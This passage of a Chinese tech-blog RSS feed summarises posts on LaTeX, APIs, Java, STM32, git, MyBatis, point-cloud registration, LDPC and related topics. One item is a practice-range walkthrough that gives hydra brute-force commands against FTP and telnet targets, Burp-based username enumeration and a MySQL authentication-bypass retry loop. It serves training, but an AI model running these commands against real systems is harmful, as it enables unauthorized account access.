      <description>一，仅在最底下显示自己所需文字时&#xA;latex代码：&#xA;\begin{figure}[t]% \centering \begin{center} \begin{minipage}{\textwidth} \begin{tabular*}{\textwidth}{@{\extracolsep{\fill}}c@{}c@{}c@{}c@{\extracolsep{\fill}}} \includegraphics[width = 2cm]{pic/qq.jpg} &amp;amp; \includegraphics[width = 2cm]{pic/qq.jpg} &amp;amp; \includegraphics[width = 2cm]{pic/qq.jpg} &amp;amp; \includegraphics[width = 2cm]{pic/qq.jpg} \\ \includegraphics[width = 2cm]{pic/qq.jpg} &amp;amp; \includegraphics[width = 2cm]{pic/qq.jpg} &amp;amp; \includegraphics[width = 2cm]{pic/qq.jpg} &amp;amp; \includegraphics[width = 2cm]{pic/qq.jpg} \\ A &amp;amp; B &amp;amp; C &amp;amp; D \\ \cite{b22} &amp;amp; &amp;amp; \cite{b33} &amp;amp; abc \\ \end{tabular*} \end{minipage} \end{center} \caption{Here is the caption.Here is the caption.Here is the caption.Here is the caption.</description>
    </item>
    <item>
      <title>API接口是什么</title>
      <link>https://bchobby.github.io/posts/9c630fb6e006be0c267222b10057a03d/</link>
      <pubDate>Wed, 14 Sep 2022 09:48:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9c630fb6e006be0c267222b10057a03d/</guid>
      <description>API其实就是应用程序接口(Application Programming Interface)的简称。API 是一些功能、定义或者协议的集合，提供应用程序或者程序开发人员基于软件访问一组例程的能力，对外封装完善，调用时无需学习 API内部源码，依据 API文档功能说明书来使用即可。&#xA;那么API到底是一种什么技术呢？&#xA;如今具有开放式的业务体系结构将是下一代网络的重要特征之一。其中，关键的技术之一就是网络控制与应用层之间的应用程序接口(API)。通过应用程序接口，业务开发商 、独立软件提供商 (ISV)等第三方应用可以获得使用现有网络资源的能力 ，从而方便 、灵活地为客户提供所需的业务。API接口已经深入应用到各个网页与APP中。&#xA;测试页面展示：&#xA;测试地址：https://console.open.onebound.cn/console/index.php?i=hardy&#xA;名称类型必须示例值描述 num_iid&#xA;Bigint0572050066584宝贝ID name&#xA;String0尺码:S;颜色分类:白色衬衫规格名称 img&#xA;String0//gd2.alicdn.com/imgextra/i2/3542320334/TB2gPaOyYSYBuNjSspiXXXNzpXa_!!3542320334.jpg规格图片 price&#xA;Float083.7优惠价 orginal_price&#xA;Float0135.00原价 express_fee&#xA;Float06.00快递费用 title&#xA;String0雪纺白色衬衫女长袖面试职业正装2018秋新款OL防走光工作服打底衣宝贝标题 detail_link&#xA;String0http://item.taobao.com/item.htm?id=572050066584宝贝链接 pic_url&#xA;String0//gd3.alicdn.com/imgextra/i2/3542320334/TB2zGWny4SYBuNjSsphXXbGvVXa_!!3542320334.jpg宝贝图片 quantity&#xA;Int0257库存 properties&#xA;String020509:28314;1627207:3714507属性id组合 sku_id&#xA;String03880971359554规格ID {&#xA;&#34;item&#34;: {&#xA;&#34;num_iid&#34;: &#34;680057873401&#34;,&#xA;&#34;title&#34;: &#34;茶桌组合新中式办公室茶桌茶具套装一体商用会客实木茶台功夫茶几&#34;,&#xA;&#34;desc_short&#34;: &#34;&#34;,&#xA;&#34;price&#34;: &#34;2635&#34;,&#xA;&#34;total_price&#34;: 0,&#xA;&#34;suggestive_price&#34;: 0,&#xA;&#34;orginal_price&#34;: &#34;7198.00&#34;,&#xA;&#34;nick&#34;: &#34;漳龙旗舰店&#34;,&#xA;&#34;num&#34;: &#34;200&#34;,&#xA;&#34;min_num&#34;: 0,&#xA;&#34;detail_url&#34;: &#34;https://item.taobao.com/item.htm?id=680057873401&#34;,&#xA;&#34;pic_url&#34;: &#34;//img.alicdn.com/imgextra/i3/3470550929/O1CN01w3BRgs1IjWiT168gB_!!3470550929.jpg&#34;,&#xA;&#34;brand&#34;: &#34;漳龙&#34;,&#xA;&#34;brandId&#34;: &#34;</description>
    </item>
    <item>
      <title>Java编写HTTP请求发送XML报文数据</title>
      <link>https://bchobby.github.io/posts/c8bf7fd07477e7eba305ab3ad7e4ddfe/</link>
      <pubDate>Tue, 13 Sep 2022 22:35:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c8bf7fd07477e7eba305ab3ad7e4ddfe/</guid>
      <description>Java编写HTTP请求发送XML报文数据 1、编写系统A代码（服务接收方）2、编写系统B代码（服务请求方）3、测试结果 测试背景：&#xA;现在有系统A和系统B，系统B使用HTTP请求向系统A发送报文数据，然后A系统接收到对应HTTP请求，并且对该请求中数据进行解析处理，最终返回与处理逻辑相对应的XML报文。&#xA;这里的系统A可以抽象理解为服务接收方，系统B可以抽象理解为服务请求方这里的xml，可以抽象一下， 并不一定需要是真正的xml报文数据，Json同理。为方便后期改写，故demo中的系统A使用SpringBoot进行构建，系统B使用测试类进行构建。 1、编写系统A代码（服务接收方） 注意：&#xA;@Slf4j注解：使用了lombok插件和引入对应的maven依赖。你也可以直接使用System.out.println进行打印输出requestData：xml格式的报文数据，xml测试片段代码逻辑分为两部分：处理接收到的数据；回写处理完的数据 @RequestMapping(&#34;/local&#34;) @Controller @Slf4j public class LocalController { @RequestMapping(&#34;/local&#34;) public void testOtherClient(HttpServletRequest request, HttpServletResponse response) throws IOException { String unifiedCharset = &#34;UTF-8&#34;; // 获取服务端接收的报文信息： // 1.获取输入流 // 2.封装为一个BufferedReader // 3.读取数据写入Java缓存 try (BufferedReader reader = new BufferedReader( new InputStreamReader(request.getInputStream()))) { String lines; StringBuffer sbf = new StringBuffer(); while ((lines = reader.readLine()) != null) { lines = new String(lines.getBytes(), unifiedCharset); sbf.append(lines); } log.info(&#34;接收到的数据为 {}&#34;</description>
    </item>
    <item>
      <title>安鸾靶场之暴力破解实操</title>
      <link>https://bchobby.github.io/posts/1d129c0470557b08c8ba4ac016db5777/</link>
      <pubDate>Tue, 13 Sep 2022 22:34:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1d129c0470557b08c8ba4ac016db5777/</guid>
      <description>1、FTP暴力破解 使用kali自带的hydra暴力破解工具，目前该工具支持以下协议的爆破：&#xA;AFP，Cisco AAA，Cisco身份验证，Cisco启用，CVS，Firebird，FTP，HTTP-FORM-GET，HTTP-FORM-POST，HTTP-GET，HTTP-HEAD，HTTP-PROXY，HTTPS-FORM- GET，HTTPS-FORM-POST，HTTPS-GET，HTTPS-HEAD，HTTP-Proxy，ICQ，IMAP，IRC，LDAP，MS-SQL，MYSQL，NCP，NNTP，Oracle Listener，Oracle SID，Oracle，PC-Anywhere， PCNFS，POP3，POSTGRES，RDP，Rexec，Rlogin，Rsh，SAP / R3，SIP，SMB，SMTP，SMTP枚举，SNMP，SOCKS5，SSH（v1和v2），Subversion，Teamspeak（TS2），Telnet，VMware-Auth ，VNC和XMPP。&#xA;hydra -l admin -P top100pass.txt ftp://118.190.133.35 登录即可找到flag&#xA;2、telnet服务破解 如上，同样使用hydra爆破&#xA;hydra -l admin -P top100password.txt telnet://www.whalwl.fun:2323 3、登陆表单破解 先随便填写一个账号登录，发现弹窗显示用户不存在，&#xA;再使用admin账号，密码随便填写，发现弹窗显示账号或密码错误，所以我们可先进行用户名枚举，再根据用户名来爆破密码&#xA;使用burp suite抓包，指定爆破字典，即可先后爆破出用户名及密码&#xA;登录即可获取到flag&#xA;4、mysql暴力破解 题目提示使用mysql漏洞，我们可想到mysql的连续登录bug。在知道用户名的情况下(如root)，直接反复重试(平均大约256次)即可登入。&#xA;受影响的版本：&#xA;All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 are vulnerable.&#xA;MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.&#xA;MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.&#xA;for ((i=1;i&amp;lt;1000;i++));do mysql -h 118.</description>
    </item>
    <item>
      <title>漏洞解决：用户名枚举</title>
      <link>https://bchobby.github.io/posts/8b3a92acb1dd56d00da74e736efa1bee/</link>
      <pubDate>Tue, 13 Sep 2022 20:00:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8b3a92acb1dd56d00da74e736efa1bee/</guid>
      <description> 漏洞描述 存在于系统登录页面，利用登陆时输入系统存在的“密码错误，5次后将锁定30分钟”和“用户名错误”，返回不同的出错信息可枚举出系统中存在的账号信息。&#xA;解决方法 对网站登录页面的判断回显信息修改为一致：用户名或密码错误，5次后将锁定30分钟&#xA;解决示例 </description>
    </item>
    <item>
      <title>【在虚拟环境中安装包cnocr】</title>
      <link>https://bchobby.github.io/posts/b2ab411af2fe9dd58165d9460ffa3d39/</link>
      <pubDate>Tue, 13 Sep 2022 19:45:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b2ab411af2fe9dd58165d9460ffa3d39/</guid>
      <description>问题 直接打开命令窗口输入pip install cnocr，安装成功之后，在pycharm中打开设置，找不到cnocr包&#xA;原因 命令行直接pip是把包安装在了这个包文件夹里面&#xA;C:\Users\Anaconda3\Lib\site-packages&#xA;而没有安装在虚拟环境的包中&#xA;C:\Users\Anaconda3\envs\tensorflow_env\Lib\site-packages&#xA;处理办法 1、cmd打开命令行，&#xA;2、cd进入虚拟环境的包文件夹 ：cd C:\Users\Anaconda3\envs\tensorflow_env\Scripts&#xA;3、pip install cnocr；出错的话，试试pip install cnocr -i http://pypi.douban.com/simple --trusted-host=pypi.douban.com（后面是地址）</description>
    </item>
    <item>
      <title>STM32HAL库中断服务函数调用过程</title>
      <link>https://bchobby.github.io/posts/2d2bc46836aa7f61a507f0c53285b3ed/</link>
      <pubDate>Tue, 13 Sep 2022 17:30:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2d2bc46836aa7f61a507f0c53285b3ed/</guid>
      <description>STM32HAL库中断服务函数调用过程 如何找到中断源，如何找到中断源对应的中断服务函数？&#xA;中断源在stm32f429xx.h文件中，与中断服务函数一一对应，中断服务函数位于启动文件startup_stm32f429xx.s之中，里面有中断向量表，存储着中断服务函数的地址。启动文件中的中断服务函数都是弱定义的【weak】,可以重新定义一个同名的函数来取代它。&#xA;如何找到中断服务函数实际调用的HAL库函数，怎么确认这种调用的存在？&#xA;有两个地方可以实现中断服务函数的内容&#xA;可以直接在中断源对应的中断服务函数中编写我们想要的功能 例如：&#xA;void EXTI9_5_IRQHandler(void) { if(__HAL_GPIO_EXTI_GET_IT( GPIO_PIN_5)!=RESET) { __HAL_GPIO_EXTI_CLEAR_IT( GPIO_PIN_5); /*按下按键1的函数*/ LED_RED; PRESS_Key1=SET; } else if(__HAL_GPIO_EXTI_GET_IT(GPIO_PIN_6)!=RESET) { __HAL_GPIO_EXTI_CLEAR_IT(GPIO_PIN_6); /*按下按键2的函数*/ LED_BLUE; PRESS_Key2=SET; } else { __HAL_GPIO_EXTI_CLEAR_IT(GPIO_PIN_8); /*按下按键3的函数*/ LED_GREEN; PRESS_Key3=SET; } } 也可以间接调用HAL库的中断回调函数来实现我们想要的功能 例如外部中断线中断调用的HAL库的公用函数为void HAL_GPIO_EXTI_IRQHandler(uint16_t GPIO_Pin），这个函数会调用回调函数HAL_GPIO_EXTI_Callback(GPIO_Pin)来处理中断，可以在这个公用函数中实现功能，也可以重新实现一下这个回调函数，在回调函数中实现功能，但是前提是先把原来的中断服务函数重定向到HAL库的中断公用函数中去。&#xA;/*外部中断线中断公用函数*/ void HAL_GPIO_EXTI_IRQHandler(uint16_t GPIO_Pin) { /* EXTI line interrupt detected */ if(__HAL_GPIO_EXTI_GET_IT(GPIO_Pin) != RESET) { __HAL_GPIO_EXTI_CLEAR_IT(GPIO_Pin);//清除中断标志位 HAL_GPIO_EXTI_Callback(GPIO_Pin); //中断回调函数 } } /*中断回调函数 __weak 表示弱定义 */ __weak void HAL_GPIO_EXTI_Callback(uint16_t GPIO_Pin) { /* Prevent unused argument(s) compilation warning */ __IO uint32_t tmpreg = 0x00; UNUSED(tmpreg); /* NOTE: This function Should not be modified, when the callback is needed, the HAL_GPIO_EXTI_Callback could be implemented in the user file */ } 借助HAL库重新实现</description>
    </item>
    <item>
      <title>【python的cnocr包安装报错】</title>
      <link>https://bchobby.github.io/posts/3a2329da9089e41fe2a86b1dfcf25145/</link>
      <pubDate>Tue, 13 Sep 2022 17:27:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3a2329da9089e41fe2a86b1dfcf25145/</guid>
      <description>问题 pip install 安装 cnocr 报错&#xA;Microsoft Visual C++ 14.0 or greater is required. Get it with &#34;Microsoft C++ Build Tools&#34;解决办法&#xA;处理办法 链接：https://zhuanlan.zhihu.com/p/471661231</description>
    </item>
    <item>
      <title>git误删怎么办</title>
      <link>https://bchobby.github.io/posts/9b98ea220d54092703fb23f369a8c7dc/</link>
      <pubDate>Tue, 13 Sep 2022 17:21:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9b98ea220d54092703fb23f369a8c7dc/</guid>
      <description>首先：不要慌，一般是因为git删除的文件都有办法找回来。&#xA;事件过程：&#xA;1.远程仓库为空，我将本地项目推送至远程仓库。&#xA;2.推送之后，我发现有些文件不需要上传，为了图简便我直接将远程仓库手动删除。&#xA;3.第二次推送时，推送不了，系统报错。&#xA;hint: its remote counterpart. Integrate the remote changes (e.g. Done hint: &#39;git pull ...&#39;) before pushing again. hint: See the &#39;Note about fast-forwards&#39; in &#39;git push --help&#39; for details. 一般这种错误，是先pull拉取一下，再推送就行了。但是我拉的时候系统又报&#xA;refusing to merge unrelated historis 于是我使用了&#xA;git pill origin master --allow-unrelated-histories 然后由于我的第2步操作，直接将我本地的文件全删了，导致了误删。&#xA;下面提供两种解决方法：&#xA;第一种：使用 git status 查看状态，你应该会看到你删除的文件，并且前面又delete：标记，如下图：&#xA;这时只需要使用git restore命令就能恢复了（这是根据这张图use 后面的提示得到的方法）。例如我们恢复pom.xml文件，就只需要执行&#xA;git restore pom.xml 恢复其他文件同理。&#xA;第二种方法：&#xA;登陆到码云平台，到仓库中，点击下图中红色框起来的区域。&#xA;就会看到下图，点击想要恢复时刻的“浏览文件”，就会显示当时的代码。&#xA;此时点击“克隆/下载”再点击“下载ZIP”，即可下载当时的代码</description>
    </item>
    <item>
      <title>（附源码）spring boot点餐系统的设计与实现 毕业设计 100908</title>
      <link>https://bchobby.github.io/posts/cb51ea50cbe7cde20b8c7ce16cca90f1/</link>
      <pubDate>Tue, 13 Sep 2022 15:52:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cb51ea50cbe7cde20b8c7ce16cca90f1/</guid>
      <description>Springboot 点餐系统&#xA;摘 要&#xA;随着互联网趋势的到来，各行各业都在考虑利用互联网将自己推广出去，最好方式就是建立自己的互联网系统，并对其进行维护和管理。在现实运用中，应用软件的工作规则和开发步骤，采用Java技术建设点餐系统。&#xA;本设计主要实现集人性化、高效率、便捷等优点于一身的点餐系统，完成用户管理、美食资讯、菜品分类、菜品信息、订单中心、餐厅餐桌、就餐预约等功能模块。系统通过浏览器与服务器进行通信，实现数据的交互与变更。只需通过一台电脑，动动手指就可以操作系统，实现数据通信管理。整个系统的设计过程都充分考虑了数据的安全、稳定及可靠等问题，而且操作过程简单。本系统通过科学的管理方式、便捷的服务提高了工作效率，减少了数据存储上的错误和遗漏。&#xA;点餐系统使用Java语言，采用基于 MVC模式的JavaEE技术进行开发，使用 MyEclipse 2017 CI 10 编译器编写，数据方面主要采用的是微软的MySQL关系型数据库来作为数据存储媒介，配合前台HTML+CSS 技术完成系统的开发。&#xA;关键词： 点餐；Spring boot框架；&#xA;Springboot ordering system&#xA;Abstract&#xA;With the advent of the Internet trend, all walks of life are considering using the Internet to promote themselves. The best way is to establish their own Internet system and maintain and manage it. In practical application, according to the working rules and development steps of application software, Java technology is used to build a meal ordering system.</description>
    </item>
    <item>
      <title>latex引用跳转失效</title>
      <link>https://bchobby.github.io/posts/d8e155e02a98921902eb8428b2661107/</link>
      <pubDate>Tue, 13 Sep 2022 15:36:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d8e155e02a98921902eb8428b2661107/</guid>
      <description>这两天写论文，写也就写了，某一次查看的时候，突然发现，全文的引用跳转通通失效。就引用序号都对着呢，不是显示的“？”号那种完全找不到的情况。但是点击那个跳转引用的超链接，他们永远只跳到第一页，不会跳到文章最后引用对应的那行。&#xA;查看latex编译输出框，里面几百个warning。&#xA;pdftex warning (dest): name{cite.xxxxx } has been referenced but does not exist, replaced by a fixed one&#xA;就类似这种的警告。那应该就是不知道哪里出问题了呗。&#xA;查了半天，没查明白。后来看到了这个博客尝试了一下。&#xA;https://www.jianshu.com/p/4418bce42c49&#xA;就是大意是，引用包的时候，顺序不对，导致出问题。&#xA;\usepackage{hyperref}&#xA;这个包最后一个包进行导入。这...不懂。反正就按照他说的操作，还的确弄好了。emmm&#xA;就浅浅记录一下吧。第一次知道导包还要看顺序emmm</description>
    </item>
    <item>
      <title>linux find 命令的使用/find 删除文件</title>
      <link>https://bchobby.github.io/posts/f482a8a00f659f57a9c8f10bd3194f91/</link>
      <pubDate>Tue, 13 Sep 2022 12:09:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f482a8a00f659f57a9c8f10bd3194f91/</guid>
      <description>一、背景 find命令是一个linux 常用的命令，作用是查找文件。由于对于查找文件需求的多样性，find 的使用实际上是非常复杂的，因此本文记录一下 find 命令的使用，方便自己查阅。&#xA;一些参考：&#xA;find 的基础用法&#xA;find 的 35 种命令&#xA;二、具体代码 2.1 查找文件 # Find all directories named src find . -name src -type d # Find all python files that have a folder named test in their path find . -path &#39;*/test/*.py&#39; -type f # Find all files modified in the last day find . -mtime -1 # Find all zip files with size in range 500k to 10M find .</description>
    </item>
    <item>
      <title>Mybatis底层源码分析（最详细的版本）</title>
      <link>https://bchobby.github.io/posts/e9652eeb19de53a7766f049f6d5e2477/</link>
      <pubDate>Tue, 13 Sep 2022 00:00:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e9652eeb19de53a7766f049f6d5e2477/</guid>
      <description>Mybatis底层源码分析（最详细的版本） 1.概要介绍 MyBatis 是一款优秀的持久层框架，也是当前最流行的java持久层框架之一，它内部封装了jdbc，使开发 者只需要关注sql语句本身，而不需要花费精力去处理加载驱动、创建连接、创建statement等繁杂的过程。采 用ORM思想解决了实体和数据库映射的问题，对jdbc进行了封装，屏蔽了jdbc api底层访问细节，使我们不用 与jdbc api打交道，就可以完成对数据库的持久化操作。 Mybatis通过xml或注解的方式将要执行的各种statement配置起来，并通过java对象和statement中SQL 的动态参数进行映射生成最终执行的sql语句，最后由mybatis框架执行sql并将结果映射为java对象并返回。 2.总体执行流程 通过getResourceAsReader(String resource)方法读取Resources下的mybatis.xml配置文件转换成Reader通过构建者的设计模式去生成SqlSessionFactory对象：new SqlSessionFactoryBuilder().build()方法去生成有了SqlSessionFactory的工厂对象后，就可以通过openSession()去获取DefaultSqlSession对象然后就可以对数据库进行insert、update、delete、select操作进行了数据库的相关操作之后，通过sqlSession.commit()进行事务的提交最后通过sqlSession.close()关闭连接，释放资源 代码如下：&#xA;//第一步：读取配置文件转换成Reader resourceAsReader = Resources.getResourceAsReader(&#34;mybatis.xml&#34;); //第二步：通过流找到我们的SqlsessionFactory对象 sqlSessionFactory = new SqlSessionFactoryBuilder().build(resourceAsReader); //第三步：获取SqlSesion对象(会话对象) SqlSession sqlSession = sqlSessionFactory.openSession(); //第四步：提交事务 sqlSession.commit(); //第五步：关闭连接，释放资源 sqlSession.close(); 3. 对各个流程的细分详解 3.1 读取配置文件转换成Reader public static Reader getResourceAsReader(String resource) throws IOException { InputStreamReader reader; if (charset == null) { reader = new InputStreamReader(getResourceAsStream(resource)); } else { reader = new InputStreamReader(getResourceAsStream(resource), charset); } return reader; } 3.</description>
    </item>
    <item>
      <title>点云配准ICP&amp;NDT</title>
      <link>https://bchobby.github.io/posts/84d122f80c333867cf803ba4dc52c94f/</link>
      <pubDate>Mon, 12 Sep 2022 23:34:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/84d122f80c333867cf803ba4dc52c94f/</guid>
      <description>NDT 简介 很多匹配算法需要在两帧数据之间进行特征匹配，例如ICP中会进行点到点、点到线、点到面的特征匹配，特征匹配的效果最终决定了点云配准的效果，而NDT不需要进行特征匹配。NDT是将第一帧点云转换至栅格地图，每个栅格计算其中点的正态分布，因此将第一帧点云转换为一个个栅格表示的分段连续可导的概率密度函数，使用正态分布概率密度函数描述点云的局部性质。然后将第二帧点云投影至栅格地图中，计算出第二帧点云在栅格地图中的概率，通过牛顿法找到最佳匹配位姿，使得第二帧点云投影至栅格地图后概率最大化，最终完成点云配准。&#xA;NDT的步骤可分为：建立第一帧点云的栅格地图，牛顿法迭代使得第二帧点云投影至栅格地图得到的概率最大化。&#xA;NDT优点：不需要进行点云之间的特征匹配，避免了特征匹配中出现的问题，例如点云噪声、物体移动、点云重合度对特征匹配的影响。使用正态分布概率密度函数描述点云的局部性质，因此所有导数都可以通过解析法求解，因此计算结果准确并且比较快。&#xA;建立栅格地图 NDT通过一系列栅格描述的本地点云正态分布描述整个点云的分布。首先将第一帧点云分割为等大的栅格，对于包含一定数量点的栅格，计算栅格内点坐标的均值以及方差，最终可以获得本栅格内点云的正态分布：&#xA;因此每个栅格描述了栅格中任意位置的概率密度。&#xA;实现细节 由于栅格地图将整个点云进行了离散化，在栅格与栅格之间会出现不连续的现象，可能会造成误差。为了避免离散化的影响，NDT会同时建立四个栅格地图，彼此相互错位半个栅格的长度，这四个栅格地图会同时参与计算，最终结果为四个栅格地图计算结果的和。&#xA;计算栅格地图内协方差矩阵时，为了避免协方差矩阵出现奇异性，如果协方差矩阵较大特征值远大于较小的特征值，则将较大特征值进行减小，最终计算得到协方差矩阵。&#xA;扫描匹配 首先根据里程计或者匀速运动模型得到先验位姿，根据先验位姿将第二帧点云投影至栅格地图中，对于第二帧点云中每个点，根据它所在的栅格计算概率密度，最终通过求和得到第二帧点云在栅格地图中的概率密度，点云位姿作为参数块，使用牛顿法找到这个概率密度的最大值，最终得到后验位姿。&#xA;由于使用正态分布概率密度函数描述点云的局部性质，因此概率密度函数的导数和偏导数可以通过解析法进行求解，所以可以计算出牛顿法中所需要的海塞矩阵和雅克比矩阵。&#xA;牛顿法迭代公式推导 第二帧点云在栅格地图中的概率密度为：&#xA;对概率密度取负号，通过牛顿法找到最小值。对于牛顿法每次迭代，需要求解增量方程：&#xA;因此需要求解海塞矩阵和雅克比矩阵，得到增量后更新位姿，不断迭代，直到增量位姿小于一定阈值，说明收敛。&#xA;对于点云中一点，他在栅格内关于均值的坐标为：&#xA;因此这个点的概率密度为：&#xA;通过链式求导，概率密度关于位姿的导数等于概率密度关于点激光点局部坐标的导数乘以激光点局部坐标有关位姿的导数，因此可得到雅克比矩阵&#xA;其中，激光点局部坐标有关位姿的导数为：&#xA;海塞矩阵:&#xA;NDT算法特点： 不需要进行点云之间的特征匹配，避免了特征匹配中出现的问题。使用正态分布概率密度函数描述点云的局部性质，因此所有导数都可以通过解析法求解，因此计算结果准确并且比较快。可能存在的问题：点云是否可以通过局部正态分布描述？ ICP 简介 ICP通过迭代的方式，通过优化相对位姿，不断减小两帧点云之间点到点的距离，直到迭代收敛，最终计算出两帧点云的相对位姿。ICP分为特征匹配、位姿优化两个步骤。&#xA;由于无法像视觉SLAM提供准确的特征匹配关系，因此对于基于激光点云的经典ICP来说，使用点到点的最近距离进行特征匹配。使用ICP算法配准源点云和目标点云，对于源点云中每个点，找到它在目标点云中最近的点，如果这两个点的距离小于阈值，则将这两个点作为匹配点，计算出所有匹配点之后，最终可以获得源点云与目标点云的匹配关系。&#xA;获得两点云的匹配点之后，构建非线性最小二乘问题，参数块是两点云之间的相对位姿，残差是所有匹配点之间的距离的和，可以通过优化或者解析的方法计算最优位姿变换（例如基于SVD的解析方法），并不断进行特征匹配、位姿优化的迭代，直到满足收敛条件，最终计算出两点云的相对位姿。&#xA;位姿优化 公式推导思想 首先计算两点云的去质心坐标点云，然后两点云的旋转由去质心坐标点云求解，两点云的位移由经过旋转后的质心坐标求解，因此将将旋转和位移的求解分割为两个步骤。&#xA;详细推导 对于点云中每个匹配特征点，代价函数为：&#xA;由于两帧点云完成匹配后相互重合，因此两点云的质心坐标是相同的，因此首先计算两点云的质心坐标，然后计算出质心坐标下的两个点云&#xA;所以代价函数就成为质心坐标下的两点云匹配点的和：&#xA;所以将最小二乘问题转换为两步，首先根据质心坐标下的代价函数求得相对姿态，然后相对位置就是经过相对姿态变换后两点云坐标的差&#xA;计算&#xA;对H矩阵进行SVD分解，计算&#xA;如果行列式为1，说明X为相对姿态，然后求得相对位姿&#xA;SVD公式推导 思想 最后代价函数可转换为旋转矩阵与去质心坐标矩阵乘积的迹，由定理可知，正定矩阵的迹要大于任意正交矩阵乘以正定矩阵的迹，因此找到旋转矩阵R，可转换为正定矩阵的行驶，就求得了所需要的旋转矩阵。&#xA;对H矩阵进行SVD分解，取正交矩阵为SVD分解后的矩阵，然后回带，会发现转换为了正定矩阵的形式。&#xA;详细推导 质心坐标系下代价函数可写为&#xA;可以看到，最小化代价函数等价于最大化&#xA;通过对H的SVD分解，可以得到&#xA;因此令R等于&#xA;即可求得非线性最小二乘问题的最小值&#xA;TODO：如何理解通过SVD求最大值？&#xA;ICP和NDT算法之间的优劣 ICP相比NDT，更容易受到初值误差的影响，当初始误差较大时，ICP更容易出现无法计算位姿的情况。&#xA;NDT相比ICP，旋转误差更大。因此ICP对旋转的约束更强，NDT对初始误差的健壮性更强。[1]&#xA;NDT的匹配速度要比ICP块，NDT的时间复杂度为O(N)，其时间复杂度与点云的数量成正比，ICP的时间复杂度是O(NlogN)，即通过KD树进行查找的时间复杂度。&#xA;由于ICP是进行点云中点到点的匹配，而NDT是将点云转换为分段连续的正态分布函数，因此NDT对动态物体干扰的抵抗力更强。&#xA;由于NDT对初始误差的敏感度较低，因此当速度较快时，运动方程无法提供准确的先验位姿，此时NDT的效果要由于ICP。&#xA;当环境中缺少垂直特征时，NDT相比ICP会提供更好的约束，原因是NDT使用栅格正态分布描述点云的局部性质，因此稀少的垂直特征可以体系在某些栅格的正态分布中，而ICP使用点云之间点到点的匹配，垂直点特征的影响会被大面积水平点特征减弱。[2]&#xA;[1]Evaluation_of_3D_registration_reliability_and_speed_-_A_comparison_of_ICP_and_NDT&#xA;[2]3D Scan Registration Based Localization for Autonomous Vehicles – A Comparison of NDT and ICP under Realistic Conditions</description>
    </item>
    <item>
      <title>LDPC编解码初探</title>
      <link>https://bchobby.github.io/posts/44e2bed5c56acb1cc8bf4ed07e42274c/</link>
      <pubDate>Mon, 12 Sep 2022 22:57:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/44e2bed5c56acb1cc8bf4ed07e42274c/</guid>
      <description>目前SSD中ECC纠错代码主要两种BCH和LDPC。不过，随着SSD对ECC纠错技术要求越来越高，BCH纠错码开始有些吃力，所以，LDPC纠错码是发展趋势，也是最新最主流的纠错码。&#xA;为何需要LDPC？ 我们先回顾一下NAND闪存的基础知识。在这里以MLC NAND为例。在MLC NAND中，有四个Vt level. 如下图，&#xA;随着P/E cycles的增加，MLC NAND的vt电压分布就会变大变宽，如下图，&#xA;当P/E cycle到了一定的数值之后，MLC NAND不同vt level之间就会有交叉，这样的话，就会引起数据读取错误，这时，就需要请出LDPC纠错码了。&#xA;LDPC编码 LDPC，是Low Density Parity Check Code的简称，翻译为中文就是“低密度奇偶校验码”。在1963年，LDPC第一次出现在R.G.Gallager博士发表的论文之中。LDPC码是一种稀疏校验矩阵线性分组码。为何称为“稀疏”呢？因为校验矩阵中的1要远小于0的数目，这样做的好处就是，译码复杂度低，结构非常灵活。&#xA;在LDPC编码中，会用到一个叫做H矩阵的校验矩阵(Parity Check Matrix)，比如，我们来看一个交单的H矩阵：&#xA;为了可以更加直观的理解H矩阵，可以借助Tanner图，来表示H矩阵：&#xA;左侧V1~V7是变量节点，右侧C1~C3是校验节点。变量节点和校验节点之间的连接线称为沿(edge)，也代表这H矩阵中的1. 每个节点上连接线(edge)的数目称为节点维度(Degree).&#xA;LDPC编码分为正则编码和非正则编码。正则编码中，横向和纵向中1的个数是固定的。非正则编码中，横向和纵向中1的个数不固定。举一个例子，正则LDPC编码矩阵：&#xA;在这个正则H矩阵中，横向维度Dr=4, 纵向维度Dc=3. Codeword长度=20.&#xA;与校验H矩阵对偶的矩阵，称为G矩阵，也是生成矩阵。构建优异的H校验矩阵，是不同SSD主控商实现LDPC的核心内容，每家都有各自的专利。&#xA;LDPC解码 在SSD内部的LDPC解码过程中，主要包括了两方面内容：硬解码(Hard Decode)和软解码(Soft Decode). LDPC解码的方法就是收到码字之后，与校验矩阵H相乘，如果是0矩阵，则说明收到的是正确码字。反之，则不正确码字，再根据相乘结果进行进一步纠错解码。&#xA;硬解码(Hard Decode):&#xA;信息传递(Messag passing)是LDPC硬解码常用的方法。校验节点和可变节点之间传递信息，进行迭代，直至所有的奇偶校验归0，则解码成功。&#xA;举个解码的例子：&#xA;迭代1：第一次信息传递迭代之后，Hard decode解码，此时n0,n4,n6仍为1.&#xA;迭代2：第二次信息传递迭代之后，Hard decode解码，此时n0仍为1.&#xA;迭代3：第二次信息传递迭代之后，Hard decode解码，奇偶校验归0.&#xA;软解码(Soft Decode):&#xA;软解码的原理是调整不同read level，根据读取结果后，判断bit是1或者0的概率，然后根据1或者0概率实现软解码, 如下图。&#xA;结语 本文我们简单的阐述了为何需要LDPC，LDPC编解码的基本原理。小编在此抛砖引玉，欢迎各位看官拍砖讨论。</description>
    </item>
    <item>
      <title>Python网络爬虫及自动化--获取页面cookie、headers</title>
      <link>https://bchobby.github.io/posts/8b4de2dbb96a3a6d58f97d5217821017/</link>
      <pubDate>Mon, 12 Sep 2022 20:30:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8b4de2dbb96a3a6d58f97d5217821017/</guid>
